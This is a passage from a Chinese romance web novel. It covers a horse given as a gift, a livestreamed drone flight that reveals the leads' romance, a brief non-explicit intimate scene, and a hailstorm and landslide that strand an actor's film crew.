这是他养公主的时候就想过的画面,公主很漂亮,他的公主也很漂亮,他依旧是那个牵绳的人,却不是他想的景象。 他曾经以为他会是公主的骑士。 但实际上公主不需要骑士,她需要与她并肩而行的战士。 他过去那些所有的自以为是,都是臆想,没人会需要。 所以他养了这么多年的公主,只有他自己觉得很无可替代很重要,实际上别人都不知道他的目的,到底只有自己感动自己。 可看到乔梧夸它漂亮,骑上马的那一瞬间,他又觉得很值。 哪怕只有这短短的一刻。 虽然乔梧觉得骑快马可能会冷,但当她真的走了一段以后却又不是很满足这个速度了。 冷就冷点吧,开心就行。 来到马场外,她问:“我去骑一圈?” 陆应池松开绳子:“好。” 在他话音落下的三秒后,眼前的人一声轻呵,骑着马如同离弦的箭一样冲了出去。 冬天飘着细雨,漫着白雾。 实在不是一个骑马的好天气。 陆应池站在外场,见她墨发飘散乘着风恣意的样子,又很释然。 任何事情都讲究天时地利人和。 哪能总遇到什么好天气呢。 从夏天到现在经历了那么多天,有无数的好天气,他也起过无数次念头,可每一次都会被某些事或者念头中断,没有一次成功送出去。 不怪天气,怪他。 不是任何事情都能事事如意,但走到同一条路上就是最好的结果了。 他以后还会有很多更好的东西,会有更多钱,给她送很多不同的礼物。 但公主不一样,公主只能这个时候送。 远处的乔梧已经跑完一圈回来,她控制着马的速度停下,眼睛在灰蒙蒙的雾气中异常的亮,呼吸出来的热气仿佛也烘得人的心也跟着热了起来。 “陆应池!”乔梧低下眼笑道,“它好棒。” 陆应池挑眉:“喜欢吗?” “喜欢。” “那送你了。” 乔梧笑意滞了一下,带着些困惑:“送我?” “我想养一匹其他的马。”陆应池仰着头说,“所以这匹送你了。” “你养其他的马跟养公主不冲突啊。”乔梧从马上下来,“你养了这么久,养得这么好。” “但是我一次只能养一匹马。”陆应池说,“以后养的马就不舍得送你了。” 乔梧没理解他的逻辑:“公主你就舍得?” 什么马他还能再养十多年? 陆应池看着她:“舍得。” 乔梧原本想拒绝,可看到陆应池的眼神后却没那么莽撞开口。 在她心里陆应池一直都是个需要照顾的弟弟,很多时候他常常都带这些没成熟的稚嫩,会有些叛逆脾气难以控制,但她都能接受。 可现在的陆应池却带给她一种褪去了稚嫩,少见的认真的感觉。 让她感觉到,这不是他的一时兴起,也不是过去那样的意气用事,而是他想了很久的结果。 “为什么?”她问。 陆应池摸了摸公主,轻轻舔唇:“这是我这么多年来做得最成功的一件事,像小红花一样,这是我这十八年以来的最后一朵小红花。” 乔梧心里动了动。 她曾经收到过很多陆应池的小红花,现在都还完整地贴在她的本子上。 过去陆应池做成每一件事想要她夸奖的时候,就把小红花送给她做交换。 “以前的小红花是给乔梧的。”陆应池垂下眼睛,低声道,“以后陆应池的小红花,想给他自己了。” 他一直追在乔梧身后,可这样的结果就是他永远只能在她身后。 可他的初衷,是能跟她一起走啊。 他想成为一个独立的自己,像陆尽之那样有自己的思想,不会被任何人限制和裹挟,这样才能跟乔梧和陆尽之站在一条线上。 “我想跟你们一起走。” 乔梧很少有面对陆应池时失措的时候,可现在她的确是这种感觉。 她抬起头,发现陆应池哪怕是这种姿态,也的确比她高了一大截。 过去她从来没有这种认知,只觉得他是一个弟弟。 “陆应池。”她轻声喊。 “嗯。” 乔梧抬手摸了摸他被细雨打湿了的头发:“你以前给我的小红花,我都有好好保管。” 陆应池微怔。 乔梧放下手,笑道:“所以公主我也会好好照顾的。” 陆应池歪了歪脑袋。 也笑了。 陆尽之回来的时候,听佣人说乔梧在马场。 他过去时马场只有乔梧一个人,她在很认真的给公主顺毛。 “陆应池呢?” 乔梧回头笑道:“现在公主是我的了。” 陆尽之几可不察地挑了下眉。 他记得陆应池小时候哭着要养马的时候就差抱着马睡觉了,照顾这匹马比照顾他自己都要上心,自己的饭都没吃都要顾着他的公主。 他嗯了声:“他怎么说?” 乔梧简单说了几句,又道:“他可能是长大了吧?” 陆尽之不置可否。 他抬起手在公主头上轻轻摸了摸,而后笑了声:“他不喜欢看童话故事。” 乔梧动作微顿,回头看他。 家里的男孩子哪有喜欢看公主王子的童话故事的,陆应池连听故事都要听热血战斗的那种。 但他喜欢听乔梧讲故事。 乔梧每次都只能把自己脑海里那些公主王子的童话故事讲给他听。 所以小时候的陆应池怎么会给马取名叫公主呢,就算要取,也会是大王或者铠甲战士。 她瞳孔轻轻缩了缩。 所以陆应池还有个没说出来的原因。 这朵小红花从一开始,就是为她准备的。 并非有其他错觉,她只是觉得这份心意太重。 她眼睛涩得厉害:“我不知道。” “那是他的事。”陆尽之收回手轻轻擦拭她的眼尾,在上面吻了吻,“公主不用知道,因为她的确很漂亮。” 第87章 第八十七章我犯了一个很大的错…… 乔梧答应了陆应池会好好照顾公主,她就一定会做到。 却也不会再去陆应池面前提这件事,对于他来说这匹马是过去十八年的交待,是在他无意识中等待十二年的结果。 她知晓这份心意,却也知道再提起来没什么用。 毕竟过去的那些时间对任何一个人来说,都不是值得反复提及的好事。 往日之事不可追。 第二天的时候陆应池已经兴冲冲飞出国,想要给自己再选一批更高更大更帅更牛逼的勇士马了。 而乔梧也继续把精力投入到工作里。 跟秦天睿把新一年公司艺人们的工作计划做一个大致的修改和规划,以及监督河前村旅游新经济的开发情况。 娱乐公司这边还算比较顺利。 河前村从签约开始到临近过年,基础的修整差不多已经做完,但由于入冬下雪交通受阻,所以路况的修整要晚一点,现在过完年马上又要开始重新投入建设。 而她基金会在那里投了很多钱不是仅仅只为了在一个偏远的地方做一个高端旅游度假村,这种投入和收获不会成正比。 想要取代其他地方,只能拥有别人没有的东西。 不仅要吸引游客,还要吸引外界的商家入驻,到时候里外才能带动经济。 至于特殊的地方,则是她跟陆尽 之在回国后那段时间对接工作上达成的共识。 陆氏近几年一直在走保守路线,而陆尽之不管是在国内国外则是一直走在市场的前沿,还没回国就直接通过徐朝那边申请了载人民用无人驾驶航空器的运营合格证。 现在民航局已经将首批合格证已经发放下来,除了几个定点城市开始低空飞行服务,乔梧也打算在河前村也用一用。 那边人少,基本没有任何可以阻碍的交通,仅仅作为观光载人飞行器的话,就是一个很大的噱头。 任何人都抵不过好奇心和唯一这两个诱惑。 这不仅是对河前村的宣传,也是对陆氏的宣传。 天气稍微暖了一些后,陆柠也跟两个长辈一起从海边回来准备开学了。 乔梧则是和陆尽之一起去了一趟河前村。 公司运了批无人驾驶航空器去河前村,首次飞行她和陆尽之一个作为老板一个作为理事长都该出席,给媒体和村民打一针强心剂。 只不过陆尽之前几天临时飞去了国外,所以这次还是乔梧先过来采访,第二天等陆尽之到了再一起去试飞。 采访是直播的形式。 几乎是新闻媒体一开播,很多人就涌进了直播间,一部分是真的关注基金会和无人载人航空器的。 另一部分则全然是为了乔梧来的。 当乔梧出现在镜头里的时候,弹幕齐刷刷地刷起了她的名字,把一些不知情观众搞得有些莫名。 【什么情况?这是明星吗?】 【没想到这种直播还能有这么多人。】 【笑死,谁说乔梧的影响力比不上明星呢?】 现在是网络时代,除了网红和明星,其他人也是有曝光度的。 而乔梧之所以有这么多人关注,不仅仅因为她的身份和光环,同时也是因为她身上加了很多人的BUFF。 这世上找不到第二个人,同时跟陆家几个少爷还有关系的人了。 以至于连带她的身份和存在,甚至都比陆家其他人都要神秘起来。 你能在娱乐媒体上看到她,也能在新闻媒体上看到她。 再者人家哪怕只穿了一件简单的羽绒服,颜值也的确扛得住这种官方媒体没有任何滤镜的镜头,说话不徐不疾有条理,谁看了不赏心悦目。 跟河前村相邻一个省的某个县的山上。 吃完午饭后大家暂时围在火边休息。 看着穿着黑色羽绒服戴着耳机坐在不远处石头上的陆宣,副导演有些担心地问:“他不冷吗?” 剧组拍戏能不用绿幕就不用绿幕,所以每天都爬上山来拍,连房车都只能停在山下,拍完一天才能去休息。 所以大多休息的时候,大家都是围坐在烧的炭火盆旁边取暖。 今天还下了点毛毛雨,结果陆宣一收工就捧着手机出去了。 “今天乔小姐要直播。”陆宣的小助理说,“我哥要找个信号好一点的地方看。” 到底是最大金主,其他人闲着也纷纷拿出手机想去捧个场。 结果这山上信号的确很不好,更别提看直播了,卡顿得几乎就是纯看脸。 也不知道陆宣看得那么入神是在看什么。 这边,坐在石头上被冷风吹得快没知觉的陆宣其实什么都没看清,因为卡顿也没有办法听清一句完整的话。 他就是等着卡顿过后,看一秒会动的乔梧。 来了剧组以后,他已经很长时间没给乔梧打电话了。 连消息都没发几个。 因为他不知道要发什么,也不敢听乔梧的声音。 有些答案一旦落实,他就没有办法再无动于衷地继续坐在这里拍戏,他怕自己会崩溃。 所以他只能通过这些细小的,从网络里找到一点有关于乔梧的蛛丝马迹,就这样看一看她。 反正乔梧说的那些话他也听不懂,所以听不听也无所谓,能看到人就行。 直播时间很短,没一会儿就结束了。 他便打开录播那边,准备慢慢把视频下载下来。 打了一个喷嚏后,他又立刻起身朝火盆边走去,千万不能因为受凉耽误了拍戏的进度。 他可是要做陆老师的人。 “一会儿去给陆老师熬点姜汤喝。”背对着他的林窕正在那边提醒后勤,“乔总专门给他的照顾基金,我们可不能让他生病。” 陆宣脚步倏忽一顿。 他总是能在不经意的时候,从别人那里听到乔梧的消息。 桩桩件件都跟他有关。 他定了定神,这次却没有贸然地上去输出询问,而是利用飞涨的演技稳住了自己的表情在大家身边坐下,漫不经心地问:“还真是金主,算她周到。” 所有人:“……” 金主??? 哥,这话是可以随便说的吗? 这还好是自己人,都签了保密协议。 林窕摸摸鼻尖:“陆老师开玩笑的。” “真的。”陆宣说,“陆尽之把我的卡停了,她一个月给我十万零花钱,只要我认真工作就行。” 副导演没控制住表情:“夺少?” 哥,你这个身份,十万够你干什么? 要是每个月十万就能做你的金主,你下了这座山底下全是你的金主好吗。 陆宣看出他们的惊讶,很自然地笑了一下:“开玩笑的,我没那么便宜。” 有人小声问:“那……要多贵?” 陆宣笑了下:“不是钱的事,是人。” “我跟她…”他顿了顿,花了很大的力气才克制住情绪,“我们认识很久了,所以她很照顾我。” 他挑了下唇,像是挺高兴的样子:“你们知道吗,她花了一百万买礼物送给别人,就是为了以后给我组一个工作室,向人家讨要经验。” 一百万,只为了一个经验? 果然有钱人的世界他们不懂。 陆宣望向林窕:“所以她这次给了你多少钱?” “啊?”林窕下意识回答,“除了投资的,生活追加也差不多。” 看来乔小姐的确对陆老师很好啊,给他做了这么多事。 可他们都没注意到陆宣僵在空中的手。 “投资。” 陆宣喃喃重复。 他很勉强地笑了一下:“我不会是个关系户吧?” “当然不是。”林窕马上摇头。“我们选角走的正常流程,而且乔小姐只是说给您一个机会,没有让我们一定要你进组的。” 陆宣轻笑:“还不如关系户。” 关系户至少是给他买了个主角。 可乔梧花了那么多钱,只是给了他一个试镜的机会。 “你们见过她了?”陆宣带着几分好奇地问,“觉得她人怎么样?” 这下大家可都不藏着掖着了,一个个畅所欲言。 “那可太好了,年纪轻轻能走到今天的位置就很厉害,说话做事都直来直去,长得好看脾气好,没有很大的架子。” “为人处事也很好,我们从来没吃过氛围那么好的一顿饭。” 陆宣听着大家丝毫不吝啬的赞美,笑意渐渐维持不住。 没错,他们说的是乔梧。 也是他一直想要靠近和带在身边的乔梧。 可又不是。 别人一眼就能看出来的人,在他这里走叉了很多年。 可笑的是,他不知道。 “陆老师是跟乔总一起长大的吧?”林窕羡慕地说,“认识那么久难怪关系这么好,都对彼此了如指掌的。” 像是被人凭空打了一巴掌,陆宣自嘲地笑了笑。 “是吧。” 我以前也是这么以为的。 休息时间过去,大家又投入了忙碌的工作里,陆宣敛好表情,在想自己下一次看到乔梧时该是什么场景。 他伸手摸了摸羽绒服里那个小盒子。 里面装着一枚袖扣。 是当初乔梧在慈善酒会上拍下来的给他的。 她说那是:再次相遇的见面礼。 她就差把自己血淋淋地剖开在他面前给他看了。 而那时的他在想什么? 想那是她 临时拍下来的二手货。 “陆老师!”林窕喊了声,“我们要加紧进度了。” 陆宣收回思绪,看了眼手机上那张刚才截下来的图片。 上面的人明眸皓齿,成熟自信,左耳戴了一枚幽蓝宝石的耳钉。 像她说过无数遍的那样,这是22岁的乔梧了。 陆宣锁屏将手机和外套一起递给助理,低低应了一声:“好。”- 结束了采访,乔梧又跟村干部一起在村子里实地检查了一遍进度,一直忙到吃完晚饭才有时间回去休息。 她这次住在了半山的一个村民家里,这里位置比较高,可以更好的看到整个村子的夜景。 现在的河前村已经初具度假村的雏形,路上都装上了路灯,小路两旁能清楚地看到各家飘起来的冬日炊烟,晚上看起来很漂亮。 她拍了一张照片给陆尽之发过去,也没指望他能回,这个点他应该才上飞机。 等她洗完澡,刚把手机拿起来就听到敲门的声音。 现在大部分人家都重新把屋子装过,也有空调,所以乔梧在房间里穿得比较少,听见敲门声时愣了一下。 “谁?” 外面的声音有些沉:“我。” 陆尽之? 乔梧一下子忘了其他的事,几步上前把门打开。 门外的陆尽之裹挟着冷风站在那,眉眼间都似凝了一层霜,只是在门打开的那瞬间又瞬间消融了。 乔梧皱眉:“怎么这个时候回来?” 路还在修整,晚上在山里开夜车,哪怕不是他自己开也很危险。 陆尽之视线在她身上落下又抬起,浓厚的墨瞳甚至还染上热意,他将箱子往前推了推:“不冷?” “本来打算睡了。”乔梧后知后觉自己穿得少,让他进门,“吃东西了吗?” “吃了点面包。” 想着他应该不会饿着自己,乔梧放下心来,转身朝浴室走去:“我吹个头发换件衣服,一会儿带你去看看房间。” 陆尽之没说好或不好,他脱下外套放在一边,视线落在一旁桌面的绒盒上,上面摆放着耳钉,是她洗澡时摘下来的。 下飞机后他就看了采访的录播,看到她今天戴着这枚耳钉了。 浴室里吹风机的声音响了起来。 陆尽之将耳钉拿起,缓步走过去。 浴室里的乔梧一边吹着头发一边看着满是水雾的镜子,没忍住笑了下。 她好像问了个白痴问题。 每次只要她跟陆尽之不在一个城市,不管是谁出差,陆尽之总是会在她的预期时间前提前出现,而在那之前他又要熬夜工作。 上次来河前村也是,在港区也是,甚至去度假时也是。 被人迫不及待想要见着的感觉,挺不错的。 正想着,脑海里的人就出现在了模糊的镜子里。 乔梧看不太清他的表情,便道:“马上就好。” 因为村民家里不是酒店,所以只有一个比较合适居住的客房,原本跟村主任那边定好陆尽之的房间在另外一户人家家里,只是他提前过来,一会儿要过去说一下。 忽的,她的手被温热的大手给覆盖住。 通常情况她跟陆尽之的体温都是相反的,但今天她刚洗完澡他刚才外面回来,所以两人换了个温度。 乔梧被冰得一个哆嗦。 她关掉吹风机:“怎么了?” 吹风机被从手中夺走,陆尽之温声说:“我给你吹。” 乔梧随他去。 她还没被陆尽之吹过头发呢,这少爷会给人吹头发么。 显然是会的。 甚至他的动作比她自己都要轻柔,温度也不会停留太高。 乔梧觉得家里那些美容师都没他这么有耐心。 她肩膀都放松下来,杂音太大也不方便说话,她放松了双手以后就抽了张纸擦拭浴室的镜子。 擦着擦着,她的动作就慢了下来。 因为她看到了镜子里陆尽之的表情。 他没再看她,而是在看她的头发,捻起发丝的时候视线都会抬一抬,深沉的难言却明显的欲色。 吹风机声音停下的那瞬间,陆尽之也抬起头,两人视线在镜子中交汇。 他很平静地放下了吹风机,又拿出刚才被他顺过来的那枚耳钉,摸着她的耳尖:“呜呜今天戴了这个。” 原本被摘下的东西,又被他缓慢地戴了上来。 乔梧耳垂被人拨弄了一下,陆尽之笑问:“怎么这么红?” 要是以往带一个配饰乔梧当然不会这么不自在。 可今天戴这个是她的私心。 上一次她跟陆尽之在这里看星星,但由于季节原因这次看不到星星了,而且陆尽之也不在她身边。 她知道陆尽之事后一定会看采访,所以才戴上了这枚耳钉。 这是她给他一个人看的星星。 但她没想到陆尽之会提前过来,还把她的“罪证”给拿起来了。 被抓了现形她也没刻意遮掩,就是有点不太自在,垂下眼问:“好看吗?” “嗯。”戴好后,陆尽之从后面拥住她,在她耳根那处吻了吻,“你以为我连夜赶来是为什么?” 他袖口挽了上去,乔梧只要低头就能看到他劲瘦的小臂,将她一点点用力圈住,往后拉去。 原本已经散去热度的浴室此时又再次升腾起热意,灼得她眼皮发烫。 她就穿了件很薄的圆领羊绒衫,陆尽之只一低头,就轻而易举地在她的肩窝处咬了一下。 乔梧推了推他的额头:“明天还有媒体。” 男人呼出的热气喷洒在皮肤上,他笑了笑:“我轻点儿。” 他的确很轻,轻得像是羽毛在她肩膀处肆意游走,乔梧只能从镜子里看到他的动作和表情,看得她自己都不忍再看,只好闭上眼睛。 然后她被翻过身来,陆尽之抓着她的腰将她轻轻提起。 “呜呜。” 乔梧睁眼。 陆尽之与她鼻尖相抵,凑近些眼睫都仿佛能贴在一起。 他的手心已经从凉意变成了滚烫的热意,一点点掐着她的腰,哑声说:“亲我。” 乔梧顺从心意,仰起头往前探了探,温热相抵,缠着不休。 衣摆被轻易撩开,她缩了缩移开脑袋,却更加贴进他的怀里,被他严丝合缝地圈住。 她勾在陆尽之脖子上的手滑下来,将自己埋在他颈间,求饶似的喊了声:“陆尽之。” “我没那么坏。”陆尽之笑了声,“不是轻轻的?” 乔梧不想说话。 她觉得这样更坏。 然后她垂落在两人面前的手被陆尽之引着,也越过他的里衣触到紧实的触感,明明是同一个人,可手上的感觉却不同,她感觉自己的脑袋这会儿都炸开了,眼睫很重地抖了一下。 “礼尚往来。”陆尽之侧着头,“呜呜也碰碰我。” 他说这话,鼻尖却很轻易地将她的圆领给顶开,在看不到的地方留下很重的印记。 乔梧在浴室里多待了半个小时才被放出去。 陆尽之在里面洗澡,她看到门口的箱子才明白这人来了就没打算要去其他地方住。 她深吸一口气,将他的箱子拿过来打开,把他换洗的衣服拿出来放到了门口,然后赶紧上床盖好被子装睡。 没想到陆尽之洗个澡的时间比她还长,她装着装着,就真的睡着了。 迷迷糊糊间感觉有人从后面靠近,带着熟悉的气息和让人依赖的温度,她凑了凑,一点点凑到热源。 第二天再次醒来时,她面对着墙壁,而腰间搭着一只手臂。 那条手臂上还有她昨天掐出来的痕迹。 她有点不甘心,又在上面掐了一下。 手臂的主人将她搂得更紧,很熟练地在她后颈吻了一下:“醒了?” 她回过头,作乱的陆尽之却还没睁开眼,脸上是毫不掩饰的惫懒。 原本的怨气在这一刻又散得一干二净,她问:“又熬夜了?” 陆尽之虚虚睁开眼睛,又合上,在她额头上蹭了蹭:“不算。” 只是多做了些工 作。 “不用每次都提前回来。”乔梧说,“我又不会跑。” “嗯?”陆尽之笑道,“实在想见你怎么办?” “那你以后也一直这样?” “有这个打算。” “陆尽之。” 这下陆尽之终于全部睁开了眼睛,看到她眼里的担心,他才揉了揉眼前人的头发:“知道了。” 两人收拾了一下一起去村长家里吃早餐。 看到他们一起出现,几个村干部完全见怪不怪。 毕竟上一次陆总来过以后,他专门来见乔理事长一眼的事情早就传开了。 倒是郭力言看到两人一起出现时愣了很久。 他知道陆尽之要来,却不知道他昨晚就来了,而且看这画面,昨晚他是跟乔梧在一起的。 郭家现在已经自顾不暇,没有任何人可以给他们做倚靠,现在已经开始拿一把手的位置来跟他交换,希望他回去了。 当时他们说,是因为得罪了陆尽之。 陆尽之亲口说过,他在追乔梧。 虽然早有预料,但真的到了这个时候他心里却还是有些发涩,只好往一旁挪开视线。 大家坐了一个大圆桌。 因为所有的事情从头到尾都是村干部在跟乔梧沟通,所以哪怕陆总在这里,他们也下意识地先喊了一声:“乔理事长。” 喊完后才意识到这样有点不妥。 刚要改口,却发现陆总一点在意的神色都没有,反而很自然地在给乔梧倒水。 乔梧也自然地看过来:“您继续说。” 噢! 所有人心如明镜。 再怎么厉害的人,在老婆面前也是靠后站! “是这样的。”村支书说,“一会儿试飞航程,是您还是陆总上?自己去还是带人?我们这边好确定人员分配。” 试飞第一个肯定由东家来。 但是一个航空器可以坐两个人,这就要看怎么分配了。 乔梧还没说话,陆尽之就不轻不重地在她碗里放了个剥好的鸡蛋。 她忍笑:“我跟陆尽之一起。” 陆尽之这才弯唇:“谢谢乔理事长愿意带我。” 其余人:“……” 没眼看了都。 上一次陆尽之来,其他人还把他当做皇帝一样小心翼翼地供着。 这一次直接包袱掉了一地。 不过好在大家对他的滤镜倒是浅了一些,没有那么害怕他了。 今天的媒体比昨天还要多,所有的机位都架着,但是为了不影响航空器的飞行,所以没有将无人机放得太近。 这里山多,航线也是提前设置好的。 万众瞩目之下,乔梧和陆尽之一起上了航空器。 因为经过了无数次的实验,所以安全问题有万分保障。 只是空间到底不算很大,两人并肩坐着,乔梧系安全带时忽然看见陆尽之的领口。 “什么时候戴上的?”她问。 她今天没有再戴那枚耳钉,谁知道戴了以后陆尽之晚上会不会又不做人。 但陆尽之却戴了。 他系好安全带,抬眸笑道:“礼尚往来。” 乔梧短时间内不是很想听到礼尚往来这个词。 但她又忍不住看向那枚领针。 这是独属于她和陆尽之的秘密,没有人知道其中的含义。 这一刻她好像理解为什么陆尽之昨晚会那么失控了。 航空器隔绝了外面嘈杂的声音,跟地面的无线通讯器也在这个时候打开,乔梧便没有再说什么私人话题。 直到飞起来的时候她才开始有点紧张,毕竟国内还没有其他地方旅游业使用无人驾驶载人先例。 她轻轻收拢了手,下一秒却被陆尽之紧紧地握在手里。 转头一看,这人表情一如既往的淡定。 乔梧原本忐忑的心情在这一刻忽然安定下来,也分出注意力去看下面的景色,跟地面的人分享介绍度假村的结构。 当初做规划时并不觉得,可真的到了这一刻,看到那份计划书被完完整整地呈现出来,她忽然从心底涌出一股从未有过的成就感。 连带反握住陆尽之的手都更多了几分力气。 她很想说,看,我打下的江山。 但考虑到通讯器,又忍了下来。 航空器渐渐远离了村口的人群,只有远处的无人机在跟着。 再越过一条水湾一座山后,乔梧终于忍不住喊了一声:“陆尽之。” “嗯?” “好棒啊。”她说。 底下的人以为她在夸这里的山水,在夸航空器,纷纷附和着。 只有陆尽之扭头看了她一眼,眼里渗出星星点点的笑意。 “是啊。”他抬手摸了摸身边人的脸,“飞出来了,好棒。” 在这种环境下,他没想要做什么。 刚要收回手,手指却被抓住了。 陆尽之难得诧异地望向她。 乔梧没说话,只是将他的手放在自己唇边,很轻的吻了一下。 通讯器里人生嘈杂,陆尽之指尖同自己的喉头一般动了动,而后无声笑了。 两人都系着安全带,只是他却将人的头往前带了带,自己也俯身上前,在最大范围内与她短暂亲吻。 此时的村口,正在操控着无人机的工作人员看到视频里的画面,眼神奇怪了一瞬。 嗯? 是他看错了? 他想要将无人机飞近一点,再多看看,可航空器里的两人已经分开了。 刚才凑在一起在干什么? 说话?通讯器里也没声音啊。 别说是工作人员了,守着看报道的广大网友都发出了齐刷刷的问号。 【这都不是亲嘴?!我不信,你放大让我看看!】 【我就说陆总看乔梧的眼神不清白!】 【等会儿,所以这两人是在一起了?】 【这么模糊你们都看得出来?万一人家说话呢!】 【呵呵,你信这两人在说话还是信我是秦始皇,说话要贴那么近?】 【别瞎造谣哈,人家陆总的谣咱们造不起。】 另一边,剧组刚拍完戏的陆宣向往常一样朝助理伸手:“我手机呢?” “好像没电了。”小助理说,“您先看看剧本,晚上我们回去再玩?” 陆宣皱了皱眉:“你玩我手机?” 因为每天来山上拍戏,他每次出门前一定会保证电是满的,他今天还没怎么看手机,怎么就没电了。 但陆宣不在意这些小事,回头想去找场务借充电宝。 才走了两步,就被小助理拉住了:“哥,这场戏挺重要的,不然先拍完再说吧。” 陆宣狐疑地看了他一眼。 今天乔梧还要直播,而且是跟陆尽之一起上航空器,那玩意儿无人驾驶,万一遇到危险怎么办? “我看一眼就行。”他也懒得拿自己手机了,而是看到有人手里有手机,就直接几步上前,“能借用一下手机吗?” 小助理拦都拦不住。 等他跑过去时,陆宣已经点开了今天的微博热门。 是的,甚至不用点开专门的直播频道了。 因为那些图片被很多人截图出来,甚至有人在投票到底是在亲亲还是在说话。 这次都不用加载视频,而是直接看到图。 陆宣定定地看着那张图片,好半天都没反应。 小助理心道,完了。 孟哥说一定不能让陆宣看到今天的新闻,这根本没法防啊,他只要不拍戏,心都是飞的。 “可能是在说话。”小助理轻咳一声,“这些网友也真……” 嗯? 他走过去发现陆宣看的不是那张亲亲图片,而是另一张单独是陆尽之上航空器的图。 这是什么操作? 没等小助理反应过来,陆宣就冷冷地说:“手机给我。” “哥?” 陆宣连外套都没穿,声音好像在微微颤抖:“给我。” 他不愿意看那张两人同框的图,看图说故事在他这儿一点都不成立。 可是他看到了陆尽之的领针。 昨天乔梧戴的那枚耳钉,他觉得还挺好看,下山回去后还搜了一下,完全没搜到品牌。 虽然今天乔梧没戴,可陆尽之戴的是她的同款。 荒唐的念头一点点浮现出来。 当初在静水别墅陆尽之替乔梧擦脸,他没明白。 看到藏书楼里那些便签,他没明白。 陆尽之每一次出现,次次和乔梧一起接他回家,他没明白。 除夕夜那晚,那两人坐在一起站在一起,同进同出,他没明白。 可现在,他不得不明白。 小助理见是在瞒不住了,只好把手机递给他。 陆宣好几次都没能成功解锁,他放弃指纹,一点点输入密码。 他曾经扬言要改掉的密码,如今却还是没改。 可是好几次都没输对。 到了最后一次,他才抖着手堪堪把手机解锁,找到置顶的那个人。 刚要拨通电话,他却又忽然迟疑了。 显而易见的答案,他要确定什么? 在他茫然的时候,远处的林窕忽然喊道:“陆老师,今天天气不太好,我们现在要提前下山,您准备一下。” 像是给自己找到了一个合适的理由,陆宣把手机收好,几乎是慌乱地应了一声。 然后转头手忙脚乱去收拾东西。 “哥。”小助理忙去搭手,“我来我来。” 陆宣没吭声,事实上他现在脑袋一片空白,根本听不进去别人在说什么,他依旧埋着头,别说自己的,连别人的他都主动搭了把手。 等他再次清醒一点时,是被一声响雷给震开的。 瓢泼的雨和冰雹兜头砸了下来,根本猝不及防。 山里天气多变,哪怕是看了天气预报有些时候都难以避免。 整个剧组还在回程的路上,东西也顾不上了,慌慌张张用东西挡住自己的头,统筹指挥着大家躲避站到安全的地方,千万不要走散。 “哥!”小助理拿了一件衣服撑在两人头顶,“我们不能站在这儿,这水和冰雹都顺着路滑下来了,很危险。” 陆宣茫然地看了一圈,低下头才看到小助理努力垫着脚给自己撑衣服。 他垂下眼,沉默着接过衣服,然后道:“松手。” 他们走在人群里靠后的位置,想要找到安全地方只能往后再靠靠,不能站在松垮的泥土前。 这一刻陆宣的脑海里忽然浮现出他出发时乔梧给他发的那些应急措施。 他带着小助理往后走,隔了不远看到抱着道具摔在地上被砸得哭兮兮手忙脚乱的几个道具组的员工,还有些连衣服都没件挡的。 陆宣走上前,把头顶的衣服全扔在她们身上。 然后脱下自己那一件重新挡在自己和小助理的头顶,他的衣服要大一些,还另外多拉了一个人进来。 砰的一声。 黑色的东西跟冰雹一起从头顶落下。 在他衣服底下的那个工作人员忙道:“陆老师,您的手机!” 手机磕碰在石头上屏幕碎了,冰雹在上面砸一下又密密麻麻弹开,水和泥夹杂几乎要将手机淹没。 陆宣定定地看了一会儿,才说:“没事,算了。” 反正也没打出去。 那就算了。 说是不能走散,但事实上到了这一步,根本看不清其他人在哪。 只有这一方天地的几个人一群缩在一起。 陆宣原本以为自己爱哭,但没想到还有人比自己更爱哭,有几个年纪小一点的工作人员,不管男男女女,哭声比雨声都要大。 哭得他自己都硬生生把眼泪给憋了回去。 他往前走了一步,站在这些人面前,垂着眼:“留点力气,想死这儿?” 他又在衣服兜里掏了掏。 里面有之前粉丝送给他的一些小东西,小药包之类的。 他也没细看,顾不上很多全都给扔到了这几人怀里:“看看有没有用得上的。” 其中还有一个平安符。 他愣了下,想要拿回来。 可眼前的这些人,比他瘦多了,也不知道平时锻不锻炼。 算了。 如果回去了,就先跟那几个粉丝道个歉。 “这是平安符。”他语气很平,“特意去庙里请的,你们不会有事。” 几个哭哭啼啼的小工作人员小心翼翼地看着他。 他们背后有遮挡,但前面没有。 但现在多了一个,陆宣作为主角形象一直都很好,长得也很高,往他们前面一站再撑起衣服,几乎就当初了所有砸下来的冰雹和雨。 “陆老师。” 陆宣低声说:“安静点。” 他现在心情很不好。 这种天气很极端,但也会很快过去的。 他如是想。 可现在大家真正安静了下来,他却更加难耐。 “小柴。”他喊。 小助理赶紧抬头:“在呢。” “你跟你喜欢的那个人怎么样了?” 小柴:“啊?” 这都什么时候了,哥你在这儿跟我谈心? “哥。”之前在车上陆宣跟孟星星谈话时没避着他,所以小柴憋了憋,“我没有喜欢的人,有的人是孟哥。” “哦。” 陆宣点点头,隔了几秒又问:“那你们怎么样了?” “……” 哥,你在已读乱回吗? 没等小柴再开口,陆宣又自言自语上了:“忘了,不是你,是孟星星。” 可惜手机坏了,不然还可以打个电话问问。 陆宣现在又冷又疼,但他无暇顾及。 这种情况更加放大他的感官,这段时间以来混乱的思绪与这场雨一起砸下来,他一直逃避的事情好像也不能再逃避了。 “我那个朋友。”他依旧在自言自语,“不能喜欢她。” 因为他至今都还陷在过去的回忆里。 将小时候的记忆捆绑在一个十二年后出现的人身上,还无知无觉- 乔梧接到陆宣剧组出事的消息时刚跟陆尽之把后续的工作处理完,在去剧组的路上。 因为在同一个省,所以她原本的打算就是工作完后去剧组里探班。 没想到才走到一半,就听说那边出事了的消息。 她的手抖了抖,但这个时候她也记得陆尽之在身边,所以飞快地点了免提,又问对面:“现在是什么情况?” “听下山的人说陆哥跟道具组整理东西落在后面,有一段路滑坡跟前面隔断了,现在冰雹已经停了,正在清理。” “人没联系上吗?” “陆哥手机打不通,其他人的信号也断断续续的,正在根据手机定位。” 陆尽之沉了沉眉:“这种天气在山上容易失温,剧组和山上可以联系到的人联系方式给我,联系直升机救援。” 孟星星那头听出来这是陆总的声音,忙忙应下,飞快地把联系方式发给他了。 乔梧听着陆尽之有条不紊地打电话处理,虽然知道所有的救援方式都用上了,可心底却怎么都安定不下 来。 挂了电话的陆尽之回头看她,伸手在她耳朵上捂了一下。 这是一个可以给人短暂安全感的方式。 “他只是有点笨。”陆尽之温声说,“但关键时刻也靠得住,不会莽撞的。” 乔梧嗯了声。 到底没多说什么。 一个半小时后,车才在山下停住。 这场雨已经停了,山上垮下来的地方黄土一片,十分触目惊心。 见乔梧和陆尽之过来,所有在等待的人都纷纷让开路。 没等乔梧问出口情况,她就看到了往回飞的直升机。 